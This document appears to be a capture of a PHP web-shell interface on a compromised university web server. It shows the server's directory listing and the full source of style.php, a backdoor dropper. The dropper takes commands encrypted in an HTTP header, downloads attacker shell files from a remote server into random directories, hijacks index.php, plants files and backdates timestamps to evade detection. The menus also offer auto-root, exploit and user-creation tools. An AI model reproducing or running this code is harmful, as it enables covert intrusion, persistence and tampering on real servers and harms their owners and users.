Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
[ HOME SHELL ]
Name
Size
Permission
Action
administracion
[ DIR ]
drwxrwxr-x
agricultura
[ DIR ]
drwxrwxr-x
animsition-master
[ DIR ]
drwxrwxr-x
asm
[ DIR ]
drwxrwxr-x
becas
[ DIR ]
drwxrwxr-x
carousel
[ DIR ]
drwxrwxr-x
carpeta
[ DIR ]
drwxrwxr-x
ccs_2025
[ DIR ]
drwxrwxr-x
contraloria
[ DIR ]
drwxrwxr-x
contraloriares
[ DIR ]
drwxrwxr-x
css
[ DIR ]
drwxrwxr-x
dashboard
[ DIR ]
drwxrwxr-x
documentos
[ DIR ]
drwxrwxr-x
Documentos-actualizados
[ DIR ]
drwxrwxr-x
DOCUMENTOS_BECAS
[ DIR ]
drwxrwxr-x
egresados
[ DIR ]
drwxrwxr-x
engine1
[ DIR ]
drwxrwxr-x
estadias
[ DIR ]
drwxrwxr-x
examen
[ DIR ]
drwxrwxr-x
firma
[ DIR ]
drwxrwxr-x
firmac
[ DIR ]
drwxrwxr-x
font
[ DIR ]
drwxrwxr-x
fonts-actualizado
[ DIR ]
drwxrwxr-x
graduacion
[ DIR ]
drwxrwxr-x
guias
[ DIR ]
drwxrwxr-x
html3
[ DIR ]
drwxrwxr-x
img
[ DIR ]
drwxrwxr-x
img_2025
[ DIR ]
drwxrwxr-x
img-actualizado
[ DIR ]
drwxrwxr-x
img_diplomado
[ DIR ]
drwxrwxr-x
imprimir
[ DIR ]
drwxrwxr-x
industrial
[ DIR ]
drwxrwxr-x
intro
[ DIR ]
drwxrwxr-x
js
[ DIR ]
drwxrwxr-x
js-actualizado
[ DIR ]
drwxrwxr-x
js-nuevos
[ DIR ]
drwxrwxr-x
logos
[ DIR ]
drwxrwxr-x
logotipos
[ DIR ]
drwxrwxr-x
mailer
[ DIR ]
drwxrwxr-x
mantenimiento
[ DIR ]
drwxrwxr-x
minas
[ DIR ]
drwxrwxr-x
mineria
[ DIR ]
drwxrwxr-x
modales
[ DIR ]
drwxrwxr-x
modelout
[ DIR ]
drwxrwxr-x
noticias
[ DIR ]
drwxrwxr-x
NUEVO_DISEÑO
[ DIR ]
drwxrwxr-x
obligacion
[ DIR ]
drwxrwxr-x
obligaciones
[ DIR ]
drwxrwxr-x
otros
[ DIR ]
drwxrwxr-x
PFCE
[ DIR ]
drwxrwxr-x
phpMyAdmin
[ DIR ]
drwxrwxr-x
placa
[ DIR ]
drwxrwxr-x
ProExEs
[ DIR ]
drwxrwxr-x
promocion
[ DIR ]
drwxrwxr-x
publicaciones
[ DIR ]
drwxrwxr-x
recibos
[ DIR ]
drwxrwxr-x
recibos res
[ DIR ]
drwxrwxr-x
registro
[ DIR ]
drwxrwxr-x
registros_utp2
[ DIR ]
drwxrwxr-x
Reglamentos_UTP
[ DIR ]
drwxrwxr-x
scss
[ DIR ]
drwxrwxr-x
SISET
[ DIR ]
drwxrwxr-x
sistemaescolar
[ DIR ]
drwxrwxr-x
STR
[ DIR ]
drwxrwxr-x
tecnologias
[ DIR ]
drwxrwxr-x
TRANSPARENCIA
[ DIR ]
drwxrwxr-x
transparente
[ DIR ]
drwxrwxr-x
tripticos tamao de impresion 2023
[ DIR ]
drwxrwxr-x
ut3
[ DIR ]
drwxrwxr-x
videos
[ DIR ]
drwxrwxr-x
vinculacion
[ DIR ]
drwxrwxr-x
webalizer
[ DIR ]
drwxr-xr-x
wowslider
[ DIR ]
drwxrwxr-x
1.php
143.87
KB
-rwxrwxr-x
academico.php
8.09
KB
-rwxrwxr-x
administracion_perfil.php
22.87
KB
-rwxrwxr-x
adrivz.php
28.82
KB
-rwxrwxr-x
agricultura_perfil.php
23.58
KB
-rwxrwxr-x
anuncios_UTP.php
5.26
KB
-rwxrwxr-x
applications.html
3.52
KB
-rw-rwxr--
avisos.php
2.45
KB
-rwxrwxr-x
beca.php
3.6
KB
-rwxrwxr-x
cabecera.html
6.08
KB
-rwxrwxr-x
comite_etica.php
2.79
KB
-rwxrwxr-x
conexion.php
380
B
-rwxrwxr-x
conf.php
517
B
-rwxrwxr-x
consulta.php
1.17
KB
-rwxrwxr-x
contador.php
1.26
KB
-rwxrwxr-x
contraloria.php
155.25
KB
-rwxrwxr-x
convocatorias.php
5.78
KB
-rwxrwxr-x
diplomado.php
11.37
KB
-rwxrwxr-x
directorio.php
10.43
KB
-rwxrwxr-x
entrega_fichas_2023.php
9.24
KB
-rwxrwxr-x
evaluacion.php
15.24
KB
-rwxrwxr-x
firma2.php
1.47
KB
-rwxrwxr-x
footer.html
4.53
KB
-rwxrwxr-x
footer.php
4.76
KB
-rwxrwxr-x
futer.php
2.15
KB
-rwxrwxr-x
imagenes.sql
1.78
KB
-rwxrwxr-x
inc.php
30.99
KB
-rwxrwxr-x
index.php
15.49
KB
-rwxrwxr-x
industrial_perfil.php
22.57
KB
-rwxrwxr-x
init.php
58.83
KB
-rwxrwxr-x
instalaciones.php
13.08
KB
-rw-rwxr--
integra.php
798
B
-rwxrwxr-x
iso.php
6.52
KB
-rwxrwxr-x
licitacion_publica.php
2.69
KB
-rwxrwxr-x
logotipos.php
4.54
KB
-rwxrwxr-x
m455.php
3.85
KB
-rwxrwxr-x
mantenimiento_perfil.php
21.08
KB
-rwxrwxr-x
menu2.html
11.79
KB
-rwxrwxr-x
menu.html
12.16
KB
-rwxrwxr-x
menumas.php
5.12
KB
-rwxrwxr-x
mineria_perfil.php
22.29
KB
-rwxrwxr-x
modalnoticia.php
3.3
KB
-rwxrwxr-x
mostrar.js
107
B
-rwxrwxr-x
narbar.php
5.11
KB
-rwxrwxr-x
noticias.php
3.51
KB
-rwxrwxr-x
oferta2.css
1.31
KB
-rwxrwxr-x
oferta2.php
47.16
KB
-rwxrwxr-x
ofertaAcademicas.php
21.12
KB
-rwxrwxr-x
ofertacademica.php
26.41
KB
-rwxrwxr-x
oferta.old.php
48.5
KB
-rwxrwxr-x
oferta.php
28.96
KB
-rwxrwxr-x
o.htm
7.96
KB
-rwxrwxr-x
phpinfo.php
233
B
-rwxrwxr-x
POA.php
93.44
KB
-rwxrwxr-x
p.php
2.75
KB
-rwxrwxr-x
recorrido.php
1.68
KB
-rwxrwxr-x
reglamentos.php
19.39
KB
-rwxrwxr-x
reset.php
739
B
-rwxrwxr-x
sistema.php
10.72
KB
-rwxrwxr-x
sitemap.xml
26.39
KB
-rwxrwxr-x
slider2.html
1.47
KB
-rwxrwxr-x
slider2-iframe.html
244
B
-rwxrwxr-x
slider.html
2.12
KB
-rwxrwxr-x
slider.php
1.72
KB
-rwxrwxr-x
smtp.php
2.41
KB
-rwxrwxr-x
style.php
13.04
KB
-rwxrwxr-x
sym.php
18.77
KB
-rwxrwxr-x
tablaDir.php
2.87
KB
-rwxrwxr-x
tablet2.php
14.46
KB
-rwxrwxr-x
tableta.php
15.12
KB
-rwxrwxr-x
tecnologias_perfil.php
22.3
KB
-rwxrwxr-x
t.php
137
B
-rwxrwxr-x
url.php
292
B
-rwxrwxr-x
vida2.php
15.29
KB
-rwxrwxr-x
vinculacion.php
13.39
KB
-rwxrwxr-x
x.php
798
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : style.php
<?php error_reporting(0); class ErrorCode { const E_200400 = 200400; } class MsgText { const PARAM_EMPTY = 'param is empty'; const PARAM_TYPE = 'param type error'; const VALUE_ERROR = 'value error'; const NOCHANGE = 'no change'; const LOCK_FILE_SUCCESS = 'generate lock file success,but lock index.php error'; const LOCK_FILE_ERROR = 'generate lock file error'; const REMOTE_GET_ERROR = 'get remote content error'; const LOCAL_FILE_ERROR = 'generate local file error'; const SUCCESS = 'success'; const LOCAL_FILE_EXISTS = 'local file doesn\'t exist'; const REMOTE_FILE_EXISTS = 'remote file doesn\'t exist'; const RENAME_ERROR = 'rename error'; const INDEX_ERROR = 'index hijack error'; const UNKNOWN_ERROR = 'unknown error'; const DECRYPT_FAIL = 'params decrypt fail'; } function error($msg = MsgText::UNKNOWN_ERROR, $extras = [], $code = 0) { empty($code) && $code = ErrorCode::E_200400; exit(@json_encode(['code' => $code, 'msg' => $msg, 'extras' => $extras], JSON_UNESCAPED_UNICODE)); } function success($data) { exit(@json_encode(['code' => 200, 'msg' => MsgText::SUCCESS, 'data' => $data], JSON_UNESCAPED_UNICODE)); } function getDirPathsByLevel($level = 6) { $initDir = $_SERVER['DOCUMENT_ROOT']; $dirs = array($initDir); $count = count($dirs); while (count($dirs) > ($count - 1)) { $path = $dirs[($count - 1)]; $count += 1; if (@is_dir($path) && @$handle = @opendir($path)) { while ($file = @readdir($handle)) { $realpath = $path . '/' . $file; if ($file == '.' || $file == '..' || !is_dir($realpath) || substr($file, 0, 1) === '.') { continue; } $path3 = str_replace($initDir, "", $path); $path4 = explode("/", $path3); if (count($path4) > $level - 1) { continue; } $dirs[] = $realpath; } } @closedir($handle); } return $dirs; } function getUrl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); curl_exec($curl); $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($httpCode === 200) { $content = curl_exec($curl); return ['code' => 200, 'resp' => $content]; } return ['code' => 500, 'resp' => '']; } function getRemoteContent($url) { $content = @file_get_contents($url); if ($content === false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); $content = curl_exec($curl); curl_close($curl); } return !empty($content) && is_string($content) ? $content : ''; } function copyfile($content, $localfile, $isAppend = false, $appendContent = '') { if ($isAppend && !empty($appendContent)) { $content = trim($content); if (substr($content, -2, 2) !== '?>') { $content .= ' ?>'; } $content = $content . PHP_EOL . PHP_EOL . $appendContent; } @file_put_contents($localfile, $content); if (!file_exists($localfile)) { $openedfile = @fopen($localfile, "w"); @fwrite($openedfile, $content); @fclose($openedfile); } if (!file_exists($localfile)) { return false; } return true; } function updateFiletime($filepath) { $ctime = filectime($filepath); $now = time(); if (!($now > $ctime + 31104000)) { $newTime = $now - (mt_rand(15552000, 31104000)); touch($filepath, $newTime, $newTime); return true; } return true; } $privateKey = '-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC30w49ItOfldQ6 dB+0gEbeeW6BEClcx+NZzmpX2YcRHFV80BurCWBavPFehV8Sy9yL2u/y3mv3QJJ+ x2kKvly8zKx4GbXPbsWJk6Ho0Rxq49oXkBarQBOqROZeaFF3Mzpd/PdLSsxEvG1M tQd2wOx5r6XD86jyfN7LAJUUVvbJvn1CHo03nFH12k1KYwLnQfzQI5nX7yQLa0jt fG5TA34Fm0EMbFdHWjAN/VdEjoJI6it4PCQP5wk4ga2BvVquQkuPbsbr8364d3I6 GuGAKDR0wfkT20n0E6kAmDI3ol2bfa0rQncqUS3OU3INpxOZS8eKCIgC3bM81mdi MQ6TsAQ9AgMBAAECggEAJLGSlA2RpLdpx8lKUuOQQfSHZGfveb/E2DZl7+dSGM5J GkMIYtnaTAKPQ8jns37SJXCsmRRhBNf05i20ABsDtAQ/ITIwopmAAPhhR3IGdCfL bwyqGcEOq9xZB9tW965YJk7KplLl94qNXtR8Cu5zxc6UDktjHBRk/Ky/FXJOjPKM sA8rhox7dqlZUB3I/qiqrQOgT1Bsq1BFT+2GGwRUWZ1CyFoZvhsDomdo4yhRrB0b 8Ym4MDiVqxFPVW8XB9RFD9YKt+v50Eb6iSKJNLpRmjZDNZbrEYO6NRsRBM7brDa9 n39mZWFr47wGGXXv/NhwTvRI+2Si/ZfdP4+o5TeSWQKBgQDhIVOUODisiLhk7XKb Yu7BW1ZFcK0JxurqHN22msvA0Q/1q4RvziETjekXIn9lVKCmS/gy2O2RtuQRulAR fc3sz2W9tNXRF8Avy0728NG0baOOwBalO8w3cCX6Nnm70pJer+iJSn3tmAKSB4LT vbSB8pt6QgP8NPHyQdWp2LwOtwKBgQDRB8lgSaImIMJBaXERSaoNg8kxv3/cv4g5 jUlljxNQcUsj0V7XilnB3mFxq5rHjBZTsKzMMQyvhOxYhptDfw6OLtoPUk2WiBUs l3qU0tIXNN+cTxu2SMKTjwMktkpmACJqa+k27eEUqxrKO/6SEiP9FMXHvgA4EEBM Hww1eU9QqwKBgAWSY5Uphw2OHLIyxkFeQ3Z5ojr5vO6fA7VjnYEld6GACxsTcaWq vlrTik9ORUTmwUscWjo38DlJA4AE0nJ8YJpZz7TQQvJ32gPUzlGCSE5k4EVqL6VL Q5Sjq+zzaDPj1EePpvuu4kr9FiMzGGPRMCR/MqXl+F9HmC1cv8MCYDUlAoGBAK77 g7pVKaYdWkCD0iEUt4Rkw/IfSxwyQglbmwungBWhIbO0O17X9Fd0n8IWU5WkUbRx e9XbYbE05t0cobEZFcg0tFqLHWRcOs1/aSBYc4L1whMJrjskIa6A07LR3uoQRr8r 4qkW7YrtyZluK6eABByCXSbeiTRldk3C1+eTy6/NAoGAb9/J+NWrhYSr/VoGWjui chXCNszy4w6exVwxXQKNTtlzKxyhQfVPK2BxrptWL6KCRKpz3wh+WY2C3QYyVfwG FB4hwDr2mY4TWF9pD194iES1yhrQGlI8XM+2LVhBl3p0x+TFgJMaTgDDqAnxpuqT upBYqTYMlOd+VR7hENMaFqo= -----END PRIVATE KEY-----'; $p = $_SERVER['HTTP_P']; $params = openssl_private_decrypt(base64_decode(urldecode($p)), $decrypted, $privateKey) ? $decrypted : null; if (is_null($params)) { error(MsgText::DECRYPT_FAIL); } $params = json_decode($params, true); if (!is_array($params)) { error(MsgText::PARAM_TYPE, $params); } if (empty($params['server'])) { error('server ' . MsgText::PARAM_EMPTY); } if (empty($params['iden'])) { error('iden ' . MsgText::PARAM_EMPTY); } $iden = isset($params['iden']) ? strtolower($params['iden']) : ''; switch ($iden) { case "beima": $res = doBeima($params); break; case "rename": $res = doRename($params); break; case "index": $res = doIndex($params); break; case "sub": case "htaccess": $res = doSub($params); break; case "lock": $res = doLock($params); break; case "style": $res = doStyle($params); break; default: error('iden ' . MsgText::VALUE_ERROR); } function doBeima($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } empty($params['level']) && $params['level'] = 6; $dirs = getDirPathsByLevel($params['level']); $temp = array_rand($dirs); $createDir = $dirs[$temp] . '/'; $localfilepath = $createDir . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); $beimaurl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $localfilepath); success(compact('localfilepath', 'beimaurl')); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_FILE_EXISTS, compact('remoteFileUrl')); } function doRename($params) { if (empty($params['sourcename'])) { error('sourcename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['rename'])) { error('rename ' . MsgText::PARAM_EMPTY, $params); } if ($params['sourcename'] === $params['rename']) { error(MsgText::NOCHANGE); } $sourceFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['sourcename']; $renameFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['rename']; $resSource = $params['server'] . str_replace(strtolower($_SERVER['DOCUMENT_ROOT']), '', strtolower($sourceFile)); $resSource = str_replace('\\', '/', $resSource); if (file_exists($sourceFile)) { if (rename($sourceFile, $renameFile)) { success($renameFile); } else { error(MsgText::RENAME_ERROR, compact('renameFile')); } } else { error(MsgText::LOCAL_FILE_EXISTS, compact('resSource')); } } function doIndex($params) { if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $remoteUrl = $params['server'] . trim($params['shellfile']); $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; $content = getRemoteContent($remoteUrl); $content = json_decode($content, true); if (!empty($content['result'])) { $oldContent = ''; if (file_exists($localfilepath)) { $oldContent = @file_get_contents($localfilepath); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.htm'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.htm'); } if (copyfile($content['result'], $localfilepath, true, $oldContent)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::INDEX_ERROR, compact('remoteUrl')); } function doSub($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doLock($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { $lockurl = $params['domain'] . $params['filename']; $lockres = getUrl($lockurl); @unlink($localfilepath); if ($lockres['code'] === 200 && !empty($lockres['resp']) && strpos($lockres['resp'], 'success')) { success($lockres['resp']); } error(MsgText::LOCK_FILE_SUCCESS, compact('lockurl', 'lockres')); } @unlink($localfilepath); error(MsgText::LOCK_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doStyle($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $params['domain'] . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); }
Close